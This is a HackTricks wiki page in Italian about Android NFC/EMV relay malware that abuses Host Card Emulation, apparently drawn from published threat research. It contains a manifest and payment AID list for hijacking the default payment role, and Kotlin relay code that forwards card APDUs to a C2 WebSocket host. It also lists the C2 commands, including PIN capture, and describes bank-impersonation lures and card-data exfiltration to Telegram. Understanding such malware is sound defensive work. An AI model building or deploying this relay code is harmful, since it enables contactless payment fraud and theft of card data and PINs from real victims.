Android HCE NFC/EMV Relay Attacks
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al š¬ gruppo Discord o al gruppo telegram o seguici su Twitter š¦ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Panoramica
Lāabuso di Android Host Card Emulation (HCE) permette a unāapp malevola impostata come servizio di pagamento NFC predefinito di inoltrare transazioni contactless EMV in tempo reale. Il terminale POS comunica via ISO 14443-4/EMV con il telefono; il HostApduService dellāapp riceve APDUs e le inoltra su un C2 bidirezionale (spesso WebSocket) a un backend che costruisce le risposte, che vengono poi rilanciate al POS. Questo consente lāemulazione della carta live senza dati della carta memorizzati localmente. Campagne osservate su larga scala si spacciano per app di banche/governo, invitano a diventare lāapp di pagamento predefinita e auto-esfiltrano i dati del dispositivo/della carta verso bot/canali Telegram.
Caratteristiche principali
- Componenti Android: HostApduService + default NFC payment handler (category āpaymentā)
- Trasporto/C2: WebSocket per il relay di APDU; Telegram bot API per exfil/ops
- Flusso operativo dellāoperatore: comandi strutturati (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
- Ruoli: scanner (read EMV data) vs tapper (HCE/relay) builds
Blocchi minimi per lāimplementazione
Manifest (diventare il servizio HCE di pagamento predefinito)
<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>
<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>
Esempio di elenco AID con categoria pagamento EMV (solo le app impostate come pagamento predefinito possono rispondere a questi AID):
<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/> <!-- AmEx -->
</aid-group>
</host-apdu-service>
Richiedi allāutente di impostare lāapp di pagamento predefinita (apre le impostazioni del sistema operativo):
val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)
Scheletro di HostApduService relay
class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null
override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}
override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}
override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}
private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}
Nota utile: il servizio in background deve rispondere entro il POS timeout budget (~pochi centinaia di ms) per APDU; mantenere un socket a bassa latenza e pre-auth con il C2. Persistere attraverso la terminazione del processo usando un foreground service secondo necessitĆ .
Tipico set di comandi C2 (osservato)
login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error
Scambio contactless EMV (introduzione)
Il POS controlla il flusso; lāapp HCE si limita a inoltrare gli APDU:
- SELECT PPSE (2PAY.SYS.DDF01)
- 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
- SELECT application AID (e.g., VISA A0000000031010)
- 00 A4 04 00 len
00 - GET PROCESSING OPTIONS (GPO)
- 80 A8 00 00 Lc
00 - READ RECORD(S) per AFL
- 00 B2 <SFI/record> 0C 00
- GENERATE AC (ARQC/TC)
- 80 AE 80 00 Lc
00
In un relay, il backend crea validi FCI/FCP, AFL, record e un cryptogram; il telefono semplicemente inoltra i byte.
Flussi di lavoro degli operatori osservati sul campo
- Deception + install: lāapp si traveste da portale bancario/governativo, mostra una WebView a schermo intero e richiede immediatamente di diventare lāapp NFC di pagamento predefinita.
- Event-triggered activation: il tap NFC risveglia HostApduService; il relay inizia.
- Scanner/Tapper roles: una build legge i dati EMV da una carta vittima (PAN, exp, tracks, device/EMV fields) e exfiltrates; unāaltra build (o lo stesso dispositivo in seguito) esegue il relay HCE verso un POS.
- Exfiltration: i dati del dispositivo/carta vengono automaticamente postati su canali/bot Telegram privati; WebSocket coordina le sessioni e le richieste UI (ad es., PIN UI sul dispositivo).
References
- Zimperium ā Tap-and-Steal: The Rise of NFC Relay Malware on Mobile Devices
- Android HostApduService
- Android HCE and Card Emulation docs
- Zimperium IOCs ā 2025-10-NFCStealer
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al š¬ gruppo Discord o al gruppo telegram o seguici su Twitter š¦ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

